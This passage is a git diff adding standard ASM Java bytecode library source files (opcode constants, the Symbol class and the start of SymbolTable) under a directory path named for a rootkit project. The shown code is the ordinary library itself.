Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Opcodes.java new file mode 100644 index 0000000..1ff2360 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Opcodes.java @@ -0,0 +1,340 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * The JVM opcodes, access flags and array type codes. This interface does not define all the JVM + * opcodes because some opcodes are automatically handled. For example, the xLOAD and xSTORE opcodes + * are automatically replaced by xLOAD_n and xSTORE_n opcodes when possible. The xLOAD_n and + * xSTORE_n opcodes are therefore not defined in this interface. Likewise for LDC, automatically + * replaced by LDC_W or LDC2_W when necessary, WIDE, GOTO_W and JSR_W. + * + * @see JVMS 6 + * @author Eric Bruneton + * @author Eugene Kuleshov + */ +// DontCheck(InterfaceIsType): can't be fixed (for backward binary compatibility). +public interface Opcodes { + + // ASM API versions. + + int ASM4 = 4 << 16 | 0 << 8; + int ASM5 = 5 << 16 | 0 << 8; + int ASM6 = 6 << 16 | 0 << 8; + int ASM7 = 7 << 16 | 0 << 8; + + // Java ClassFile versions (the minor version is stored in the 16 most + // significant bits, and the + // major version in the 16 least significant bits). + + int V1_1 = 3 << 16 | 45; + int V1_2 = 0 << 16 | 46; + int V1_3 = 0 << 16 | 47; + int V1_4 = 0 << 16 | 48; + int V1_5 = 0 << 16 | 49; + int V1_6 = 0 << 16 | 50; + int V1_7 = 0 << 16 | 51; + int V1_8 = 0 << 16 | 52; + int V9 = 0 << 16 | 53; + int V10 = 0 << 16 | 54; + int V11 = 0 << 16 | 55; + int V12 = 0 << 16 | 56; + + /** + * Version flag indicating that the class is using 'preview' features. + * + *

{@code version & V_PREVIEW == V_PREVIEW} tests if a version is flagged with {@code + * V_PREVIEW}. + */ + int V_PREVIEW = 0xFFFF0000; + + // Access flags values, defined in + // - https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.1-200-E.1 + // - https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.5-200-A.1 + // - https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.6-200-A.1 + // - https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.7.25 + + int ACC_PUBLIC = 0x0001; // class, field, method + int ACC_PRIVATE = 0x0002; // class, field, method + int ACC_PROTECTED = 0x0004; // class, field, method + int ACC_STATIC = 0x0008; // field, method + int ACC_FINAL = 0x0010; // class, field, method, parameter + int ACC_SUPER = 0x0020; // class + int ACC_SYNCHRONIZED = 0x0020; // method + int ACC_OPEN = 0x0020; // module + int ACC_TRANSITIVE = 0x0020; // module requires + int ACC_VOLATILE = 0x0040; // field + int ACC_BRIDGE = 0x0040; // method + int ACC_STATIC_PHASE = 0x0040; // module requires + int ACC_VARARGS = 0x0080; // method + int ACC_TRANSIENT = 0x0080; // field + int ACC_NATIVE = 0x0100; // method + int ACC_INTERFACE = 0x0200; // class + int ACC_ABSTRACT = 0x0400; // class, method + int ACC_STRICT = 0x0800; // method + int ACC_SYNTHETIC = 0x1000; // class, field, method, parameter, module * + int ACC_ANNOTATION = 0x2000; // class + int ACC_ENUM = 0x4000; // class(?) field inner + int ACC_MANDATED = 0x8000; // parameter, module, module * + int ACC_MODULE = 0x8000; // class + + // ASM specific access flags. + // WARNING: the 16 least significant bits must NOT be used, to avoid conflicts with standard + // access flags, and also to make sure that these flags are automatically filtered out when + // written in class files (because access flags are stored using 16 bits only). + + int ACC_DEPRECATED = 0x20000; // class, field, method + + // Possible values for the type operand of the NEWARRAY instruction. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-6.html#jvms-6.5.newarray. + + int T_BOOLEAN = 4; + int T_CHAR = 5; + int T_FLOAT = 6; + int T_DOUBLE = 7; + int T_BYTE = 8; + int T_SHORT = 9; + int T_INT = 10; + int T_LONG = 11; + + // Possible values for the reference_kind field of CONSTANT_MethodHandle_info structures. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-4.html#jvms-4.4.8. + + int H_GETFIELD = 1; + int H_GETSTATIC = 2; + int H_PUTFIELD = 3; + int H_PUTSTATIC = 4; + int H_INVOKEVIRTUAL = 5; + int H_INVOKESTATIC = 6; + int H_INVOKESPECIAL = 7; + int H_NEWINVOKESPECIAL = 8; + int H_INVOKEINTERFACE = 9; + + // ASM specific stack map frame types, used in {@link ClassVisitor#visitFrame}. + + /** An expanded frame. See {@link ClassReader#EXPAND_FRAMES}. */ + int F_NEW = -1; + + /** A compressed frame with complete frame data. */ + int F_FULL = 0; + + /** + * A compressed frame where locals are the same as the locals in the previous frame, except that + * additional 1-3 locals are defined, and with an empty stack. + */ + int F_APPEND = 1; + + /** + * A compressed frame where locals are the same as the locals in the previous frame, except that + * the last 1-3 locals are absent and with an empty stack. + */ + int F_CHOP = 2; + + /** + * A compressed frame with exactly the same locals as the previous frame and with an empty stack. + */ + int F_SAME = 3; + + /** + * A compressed frame with exactly the same locals as the previous frame and with a single value + * on the stack. + */ + int F_SAME1 = 4; + + // Standard stack map frame element types, used in {@link ClassVisitor#visitFrame}. + + Integer TOP = Frame.ITEM_TOP; + Integer INTEGER = Frame.ITEM_INTEGER; + Integer FLOAT = Frame.ITEM_FLOAT; + Integer DOUBLE = Frame.ITEM_DOUBLE; + Integer LONG = Frame.ITEM_LONG; + Integer NULL = Frame.ITEM_NULL; + Integer UNINITIALIZED_THIS = Frame.ITEM_UNINITIALIZED_THIS; + + // The JVM opcode values (with the MethodVisitor method name used to visit them in comment, and + // where '-' means 'same method name as on the previous line'). + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-6.html. + + int NOP = 0; // visitInsn + int ACONST_NULL = 1; // - + int ICONST_M1 = 2; // - + int ICONST_0 = 3; // - + int ICONST_1 = 4; // - + int ICONST_2 = 5; // - + int ICONST_3 = 6; // - + int ICONST_4 = 7; // - + int ICONST_5 = 8; // - + int LCONST_0 = 9; // - + int LCONST_1 = 10; // - + int FCONST_0 = 11; // - + int FCONST_1 = 12; // - + int FCONST_2 = 13; // - + int DCONST_0 = 14; // - + int DCONST_1 = 15; // - + int BIPUSH = 16; // visitIntInsn + int SIPUSH = 17; // - + int LDC = 18; // visitLdcInsn + int ILOAD = 21; // visitVarInsn + int LLOAD = 22; // - + int FLOAD = 23; // - + int DLOAD = 24; // - + int ALOAD = 25; // - + int IALOAD = 46; // visitInsn + int LALOAD = 47; // - + int FALOAD = 48; // - + int DALOAD = 49; // - + int AALOAD = 50; // - + int BALOAD = 51; // - + int CALOAD = 52; // - + int SALOAD = 53; // - + int ISTORE = 54; // visitVarInsn + int LSTORE = 55; // - + int FSTORE = 56; // - + int DSTORE = 57; // - + int ASTORE = 58; // - + int IASTORE = 79; // visitInsn + int LASTORE = 80; // - + int FASTORE = 81; // - + int DASTORE = 82; // - + int AASTORE = 83; // - + int BASTORE = 84; // - + int CASTORE = 85; // - + int SASTORE = 86; // - + int POP = 87; // - + int POP2 = 88; // - + int DUP = 89; // - + int DUP_X1 = 90; // - + int DUP_X2 = 91; // - + int DUP2 = 92; // - + int DUP2_X1 = 93; // - + int DUP2_X2 = 94; // - + int SWAP = 95; // - + int IADD = 96; // - + int LADD = 97; // - + int FADD = 98; // - + int DADD = 99; // - + int ISUB = 100; // - + int LSUB = 101; // - + int FSUB = 102; // - + int DSUB = 103; // - + int IMUL = 104; // - + int LMUL = 105; // - + int FMUL = 106; // - + int DMUL = 107; // - + int IDIV = 108; // - + int LDIV = 109; // - + int FDIV = 110; // - + int DDIV = 111; // - + int IREM = 112; // - + int LREM = 113; // - + int FREM = 114; // - + int DREM = 115; // - + int INEG = 116; // - + int LNEG = 117; // - + int FNEG = 118; // - + int DNEG = 119; // - + int ISHL = 120; // - + int LSHL = 121; // - + int ISHR = 122; // - + int LSHR = 123; // - + int IUSHR = 124; // - + int LUSHR = 125; // - + int IAND = 126; // - + int LAND = 127; // - + int IOR = 128; // - + int LOR = 129; // - + int IXOR = 130; // - + int LXOR = 131; // - + int IINC = 132; // visitIincInsn + int I2L = 133; // visitInsn + int I2F = 134; // - + int I2D = 135; // - + int L2I = 136; // - + int L2F = 137; // - + int L2D = 138; // - + int F2I = 139; // - + int F2L = 140; // - + int F2D = 141; // - + int D2I = 142; // - + int D2L = 143; // - + int D2F = 144; // - + int I2B = 145; // - + int I2C = 146; // - + int I2S = 147; // - + int LCMP = 148; // - + int FCMPL = 149; // - + int FCMPG = 150; // - + int DCMPL = 151; // - + int DCMPG = 152; // - + int IFEQ = 153; // visitJumpInsn + int IFNE = 154; // - + int IFLT = 155; // - + int IFGE = 156; // - + int IFGT = 157; // - + int IFLE = 158; // - + int IF_ICMPEQ = 159; // - + int IF_ICMPNE = 160; // - + int IF_ICMPLT = 161; // - + int IF_ICMPGE = 162; // - + int IF_ICMPGT = 163; // - + int IF_ICMPLE = 164; // - + int IF_ACMPEQ = 165; // - + int IF_ACMPNE = 166; // - + int GOTO = 167; // - + int JSR = 168; // - + int RET = 169; // visitVarInsn + int TABLESWITCH = 170; // visiTableSwitchInsn + int LOOKUPSWITCH = 171; // visitLookupSwitch + int IRETURN = 172; // visitInsn + int LRETURN = 173; // - + int FRETURN = 174; // - + int DRETURN = 175; // - + int ARETURN = 176; // - + int RETURN = 177; // - + int GETSTATIC = 178; // visitFieldInsn + int PUTSTATIC = 179; // - + int GETFIELD = 180; // - + int PUTFIELD = 181; // - + int INVOKEVIRTUAL = 182; // visitMethodInsn + int INVOKESPECIAL = 183; // - + int INVOKESTATIC = 184; // - + int INVOKEINTERFACE = 185; // - + int INVOKEDYNAMIC = 186; // visitInvokeDynamicInsn + int NEW = 187; // visitTypeInsn + int NEWARRAY = 188; // visitIntInsn + int ANEWARRAY = 189; // visitTypeInsn + int ARRAYLENGTH = 190; // visitInsn + int ATHROW = 191; // - + int CHECKCAST = 192; // visitTypeInsn + int INSTANCEOF = 193; // - + int MONITORENTER = 194; // visitInsn + int MONITOREXIT = 195; // - + int MULTIANEWARRAY = 197; // visitMultiANewArrayInsn + int IFNULL = 198; // visitJumpInsn + int IFNONNULL = 199; // - +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Symbol.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Symbol.java new file mode 100644 index 0000000..b1dd5eb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Symbol.java @@ -0,0 +1,243 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * An entry of the constant pool, of the BootstrapMethods attribute, or of the (ASM specific) type + * table of a class. + * + * @see JVMS + * 4.4 + * @see JVMS + * 4.7.23 + * @author Eric Bruneton + */ +abstract class Symbol { + + // Tag values for the constant pool entries (using the same order as in the JVMS). + + /** The tag value of CONSTANT_Class_info JVMS structures. */ + static final int CONSTANT_CLASS_TAG = 7; + + /** The tag value of CONSTANT_Fieldref_info JVMS structures. */ + static final int CONSTANT_FIELDREF_TAG = 9; + + /** The tag value of CONSTANT_Methodref_info JVMS structures. */ + static final int CONSTANT_METHODREF_TAG = 10; + + /** The tag value of CONSTANT_InterfaceMethodref_info JVMS structures. */ + static final int CONSTANT_INTERFACE_METHODREF_TAG = 11; + + /** The tag value of CONSTANT_String_info JVMS structures. */ + static final int CONSTANT_STRING_TAG = 8; + + /** The tag value of CONSTANT_Integer_info JVMS structures. */ + static final int CONSTANT_INTEGER_TAG = 3; + + /** The tag value of CONSTANT_Float_info JVMS structures. */ + static final int CONSTANT_FLOAT_TAG = 4; + + /** The tag value of CONSTANT_Long_info JVMS structures. */ + static final int CONSTANT_LONG_TAG = 5; + + /** The tag value of CONSTANT_Double_info JVMS structures. */ + static final int CONSTANT_DOUBLE_TAG = 6; + + /** The tag value of CONSTANT_NameAndType_info JVMS structures. */ + static final int CONSTANT_NAME_AND_TYPE_TAG = 12; + + /** The tag value of CONSTANT_Utf8_info JVMS structures. */ + static final int CONSTANT_UTF8_TAG = 1; + + /** The tag value of CONSTANT_MethodHandle_info JVMS structures. */ + static final int CONSTANT_METHOD_HANDLE_TAG = 15; + + /** The tag value of CONSTANT_MethodType_info JVMS structures. */ + static final int CONSTANT_METHOD_TYPE_TAG = 16; + + /** The tag value of CONSTANT_Dynamic_info JVMS structures. */ + static final int CONSTANT_DYNAMIC_TAG = 17; + + /** The tag value of CONSTANT_InvokeDynamic_info JVMS structures. */ + static final int CONSTANT_INVOKE_DYNAMIC_TAG = 18; + + /** The tag value of CONSTANT_Module_info JVMS structures. */ + static final int CONSTANT_MODULE_TAG = 19; + + /** The tag value of CONSTANT_Package_info JVMS structures. */ + static final int CONSTANT_PACKAGE_TAG = 20; + + // Tag values for the BootstrapMethods attribute entries (ASM specific tag). + + /** The tag value of the BootstrapMethods attribute entries. */ + static final int BOOTSTRAP_METHOD_TAG = 64; + + // Tag values for the type table entries (ASM specific tags). + + /** The tag value of a normal type entry in the (ASM specific) type table of a class. */ + static final int TYPE_TAG = 128; + + /** + * The tag value of an {@link Frame#ITEM_UNINITIALIZED} type entry in the type table of a class. + */ + static final int UNINITIALIZED_TYPE_TAG = 129; + + /** The tag value of a merged type entry in the (ASM specific) type table of a class. */ + static final int MERGED_TYPE_TAG = 130; + + // Instance fields. + + /** + * The index of this symbol in the constant pool, in the BootstrapMethods attribute, or in the + * (ASM specific) type table of a class (depending on the {@link #tag} value). + */ + final int index; + + /** + * A tag indicating the type of this symbol. Must be one of the static tag values defined in this + * class. + */ + final int tag; + + /** + * The internal name of the owner class of this symbol. Only used for {@link + * #CONSTANT_FIELDREF_TAG}, {@link #CONSTANT_METHODREF_TAG}, {@link + * #CONSTANT_INTERFACE_METHODREF_TAG}, and {@link #CONSTANT_METHOD_HANDLE_TAG} symbols. + */ + final String owner; + + /** + * The name of the class field or method corresponding to this symbol. Only used for {@link + * #CONSTANT_FIELDREF_TAG}, {@link #CONSTANT_METHODREF_TAG}, {@link + * #CONSTANT_INTERFACE_METHODREF_TAG}, {@link #CONSTANT_NAME_AND_TYPE_TAG}, {@link + * #CONSTANT_METHOD_HANDLE_TAG}, {@link #CONSTANT_DYNAMIC_TAG} and {@link + * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols. + */ + final String name; + + /** + * The string value of this symbol. This is: + * + *

    + *
  • a field or method descriptor for {@link #CONSTANT_FIELDREF_TAG}, {@link + * #CONSTANT_METHODREF_TAG}, {@link #CONSTANT_INTERFACE_METHODREF_TAG}, {@link + * #CONSTANT_NAME_AND_TYPE_TAG}, {@link #CONSTANT_METHOD_HANDLE_TAG}, {@link + * #CONSTANT_METHOD_TYPE_TAG}, {@link #CONSTANT_DYNAMIC_TAG} and {@link + * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols, + *
  • an arbitrary string for {@link #CONSTANT_UTF8_TAG} and {@link #CONSTANT_STRING_TAG} + * symbols, + *
  • an internal class name for {@link #CONSTANT_CLASS_TAG}, {@link #TYPE_TAG} and {@link + * #UNINITIALIZED_TYPE_TAG} symbols, + *
  • {@literal null} for the other types of symbol. + *
+ */ + final String value; + + /** + * The numeric value of this symbol. This is: + * + *
    + *
  • the symbol's value for {@link #CONSTANT_INTEGER_TAG},{@link #CONSTANT_FLOAT_TAG}, {@link + * #CONSTANT_LONG_TAG}, {@link #CONSTANT_DOUBLE_TAG}, + *
  • the CONSTANT_MethodHandle_info reference_kind field value for {@link + * #CONSTANT_METHOD_HANDLE_TAG} symbols, + *
  • the CONSTANT_InvokeDynamic_info bootstrap_method_attr_index field value for {@link + * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols, + *
  • the offset of a bootstrap method in the BootstrapMethods boostrap_methods array, for + * {@link #CONSTANT_DYNAMIC_TAG} or {@link #BOOTSTRAP_METHOD_TAG} symbols, + *
  • the bytecode offset of the NEW instruction that created an {@link + * Frame#ITEM_UNINITIALIZED} type for {@link #UNINITIALIZED_TYPE_TAG} symbols, + *
  • the indices (in the class' type table) of two {@link #TYPE_TAG} source types for {@link + * #MERGED_TYPE_TAG} symbols, + *
  • 0 for the other types of symbol. + *
+ */ + final long data; + + /** + * Additional information about this symbol, generally computed lazily. Warning: the value of + * this field is ignored when comparing Symbol instances (to avoid duplicate entries in a + * SymbolTable). Therefore, this field should only contain data that can be computed from the + * other fields of this class. It contains: + * + *
    + *
  • the {@link Type#getArgumentsAndReturnSizes} of the symbol's method descriptor for {@link + * #CONSTANT_METHODREF_TAG}, {@link #CONSTANT_INTERFACE_METHODREF_TAG} and {@link + * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols, + *
  • the index in the InnerClasses_attribute 'classes' array (plus one) corresponding to this + * class, for {@link #CONSTANT_CLASS_TAG} symbols, + *
  • the index (in the class' type table) of the merged type of the two source types for + * {@link #MERGED_TYPE_TAG} symbols, + *
  • 0 for the other types of symbol, or if this field has not been computed yet. + *
+ */ + int info; + + /** + * Constructs a new Symbol. This constructor can't be used directly because the Symbol class is + * abstract. Instead, use the factory methods of the {@link SymbolTable} class. + * + * @param index the symbol index in the constant pool, in the BootstrapMethods attribute, or in + * the (ASM specific) type table of a class (depending on 'tag'). + * @param tag the symbol type. Must be one of the static tag values defined in this class. + * @param owner The internal name of the symbol's owner class. Maybe {@literal null}. + * @param name The name of the symbol's corresponding class field or method. Maybe {@literal + * null}. + * @param value The string value of this symbol. Maybe {@literal null}. + * @param data The numeric value of this symbol. + */ + Symbol( + final int index, + final int tag, + final String owner, + final String name, + final String value, + final long data) { + this.index = index; + this.tag = tag; + this.owner = owner; + this.name = name; + this.value = value; + this.data = data; + } + + /** + * Returns the result {@link Type#getArgumentsAndReturnSizes} on {@link #value}. + * + * @return the result {@link Type#getArgumentsAndReturnSizes} on {@link #value} (memoized in + * {@link #info} for efficiency). This should only be used for {@link + * #CONSTANT_METHODREF_TAG}, {@link #CONSTANT_INTERFACE_METHODREF_TAG} and {@link + * #CONSTANT_INVOKE_DYNAMIC_TAG} symbols. + */ + int getArgumentsAndReturnSizes() { + if (info == 0) { + info = Type.getArgumentsAndReturnSizes(value); + } + return info; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/SymbolTable.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/SymbolTable.java new file mode 100644 index 0000000..1c44f25 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/SymbolTable.java @@ -0,0 +1,1318 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * The constant pool entries, the BootstrapMethods attribute entries and the (ASM specific) type + * table entries of a class. + * + * @see JVMS + * 4.4 + * @see JVMS + * 4.7.23 + * @author Eric Bruneton + */ +final class SymbolTable { + + /** + * The ClassWriter to which this SymbolTable belongs. This is only used to get access to {@link + * ClassWriter#getCommonSuperClass} and to serialize custom attributes with {@link + * Attribute#write}. + */ + final ClassWriter classWriter; + + /** + * The ClassReader from which this SymbolTable was constructed, or {@literal null} if it was + * constructed from scratch. + */ + private final ClassReader sourceClassReader; + + /** The major version number of the class to which this symbol table belongs. */ + private int majorVersion; + + /** The internal name of the class to which this symbol table belongs. */ + private String className; + + /** + * The total number of {@link Entry} instances in {@link #entries}. This includes entries that are + * accessible (recursively) via {@link Entry#next}. + */ + private int entryCount; + + /** + * A hash set of all the entries in this SymbolTable (this includes the constant pool entries, the + * bootstrap method entries and the type table entries). Each {@link Entry} instance is stored at + * the array index given by its hash code modulo the array size. If several entries must be stored + * at the same array index, they are linked together via their {@link Entry#next} field. The + * factory methods of this class make sure that this table does not contain duplicated entries. + */ + private Entry[] entries; + + /** + * The number of constant pool items in {@link #constantPool}, plus 1. The first constant pool + * item has index 1, and long and double items count for two items. + */ + private int constantPoolCount; + + /** + * The content of the ClassFile's constant_pool JVMS structure corresponding to this SymbolTable. + * The ClassFile's constant_pool_count field is not included. + */ + private ByteVector constantPool; + + /** + * The number of bootstrap methods in {@link #bootstrapMethods}. Corresponds to the + * BootstrapMethods_attribute's num_bootstrap_methods field value. + */ + private int bootstrapMethodCount; + + /** + * The content of the BootstrapMethods attribute 'bootstrap_methods' array corresponding to this + * SymbolTable. Note that the first 6 bytes of the BootstrapMethods_attribute, and its + * num_bootstrap_methods field, are not included. + */ + private ByteVector bootstrapMethods; + + /** + * The actual number of elements in {@link #typeTable}. These elements are stored from index 0 to + * typeCount (excluded). The other array entries are empty. + */ + private int typeCount; + + /** + * An ASM specific type table used to temporarily store internal names that will not necessarily + * be stored in the constant pool. This type table is used by the control flow and data flow + * analysis algorithm used to compute stack map frames from scratch. This array stores {@link + * Symbol#TYPE_TAG} and {@link Symbol#UNINITIALIZED_TYPE_TAG}) Symbol. The type symbol at index + * {@code i} has its {@link Symbol#index} equal to {@code i} (and vice versa). + */ + private Entry[] typeTable; + + /** + * Constructs a new, empty SymbolTable for the given ClassWriter. + * + * @param classWriter a ClassWriter. + */ + SymbolTable(final ClassWriter classWriter) { + this.classWriter = classWriter; + this.sourceClassReader = null; + this.entries = new Entry[256]; + this.constantPoolCount = 1; + this.constantPool = new ByteVector(); + } + + /** + * Constructs a new SymbolTable for the given ClassWriter, initialized with the constant pool and + * bootstrap methods of the given ClassReader. + * + * @param classWriter a ClassWriter. + * @param classReader the ClassReader whose constant pool and bootstrap methods must be copied to + * initialize the SymbolTable. + */ + SymbolTable(final ClassWriter classWriter, final ClassReader classReader) { + this.classWriter = classWriter; + this.sourceClassReader = classReader; + + // Copy the constant pool binary content. + byte[] inputBytes = classReader.b; + int constantPoolOffset = classReader.getItem(1) - 1; + int constantPoolLength = classReader.header - constantPoolOffset; + constantPoolCount = classReader.getItemCount(); + constantPool = new ByteVector(constantPoolLength); + constantPool.putByteArray(inputBytes, constantPoolOffset, constantPoolLength); + + // Add the constant pool items in the symbol table entries. Reserve enough space in 'entries' to + // avoid too many hash set collisions (entries is not dynamically resized by the addConstant* + // method calls below), and to account for bootstrap method entries. + entries = new Entry[constantPoolCount * 2]; + char[] charBuffer = new char[classReader.getMaxStringLength()]; + boolean hasBootstrapMethods = false; + int itemIndex = 1; + while (itemIndex < constantPoolCount) { + int itemOffset = classReader.getItem(itemIndex); + int itemTag = inputBytes[itemOffset - 1]; + int nameAndTypeItemOffset; + switch (itemTag) { + case Symbol.CONSTANT_FIELDREF_TAG: + case Symbol.CONSTANT_METHODREF_TAG: + case Symbol.CONSTANT_INTERFACE_METHODREF_TAG: + nameAndTypeItemOffset = + classReader.getItem(classReader.readUnsignedShort(itemOffset + 2)); + addConstantMemberReference( + itemIndex, + itemTag, + classReader.readClass(itemOffset, charBuffer), + classReader.readUTF8(nameAndTypeItemOffset, charBuffer), + classReader.readUTF8(nameAndTypeItemOffset + 2, charBuffer)); + break; + case Symbol.CONSTANT_INTEGER_TAG: + case Symbol.CONSTANT_FLOAT_TAG: + addConstantIntegerOrFloat(itemIndex, itemTag, classReader.readInt(itemOffset)); + break; + case Symbol.CONSTANT_NAME_AND_TYPE_TAG: + addConstantNameAndType( + itemIndex, + classReader.readUTF8(itemOffset, charBuffer), + classReader.readUTF8(itemOffset + 2, charBuffer)); + break; + case Symbol.CONSTANT_LONG_TAG: + case Symbol.CONSTANT_DOUBLE_TAG: + addConstantLongOrDouble(itemIndex, itemTag, classReader.readLong(itemOffset)); + break; + case Symbol.CONSTANT_UTF8_TAG: + addConstantUtf8(itemIndex, classReader.readUtf(itemIndex, charBuffer)); + break; + case Symbol.CONSTANT_METHOD_HANDLE_TAG: + int memberRefItemOffset = + classReader.getItem(classReader.readUnsignedShort(itemOffset + 1)); + nameAndTypeItemOffset = + classReader.getItem(classReader.readUnsignedShort(memberRefItemOffset + 2)); + addConstantMethodHandle( + itemIndex, + classReader.readByte(itemOffset), + classReader.readClass(memberRefItemOffset, charBuffer), + classReader.readUTF8(nameAndTypeItemOffset, charBuffer), + classReader.readUTF8(nameAndTypeItemOffset + 2, charBuffer)); + break; + case Symbol.CONSTANT_DYNAMIC_TAG: + case Symbol.CONSTANT_INVOKE_DYNAMIC_TAG: + hasBootstrapMethods = true; + nameAndTypeItemOffset = + classReader.getItem(classReader.readUnsignedShort(itemOffset + 2)); + addConstantDynamicOrInvokeDynamicReference( + itemTag, + itemIndex, + classReader.readUTF8(nameAndTypeItemOffset, charBuffer), + classReader.readUTF8(nameAndTypeItemOffset + 2, charBuffer), + classReader.readUnsignedShort(itemOffset)); + break; + case Symbol.CONSTANT_STRING_TAG: + case Symbol.CONSTANT_CLASS_TAG: + case Symbol.CONSTANT_METHOD_TYPE_TAG: + case Symbol.CONSTANT_MODULE_TAG: + case Symbol.CONSTANT_PACKAGE_TAG: + addConstantUtf8Reference( + itemIndex, itemTag, classReader.readUTF8(itemOffset, charBuffer)); + break; + default: + throw new IllegalArgumentException(); + } + itemIndex += + (itemTag == 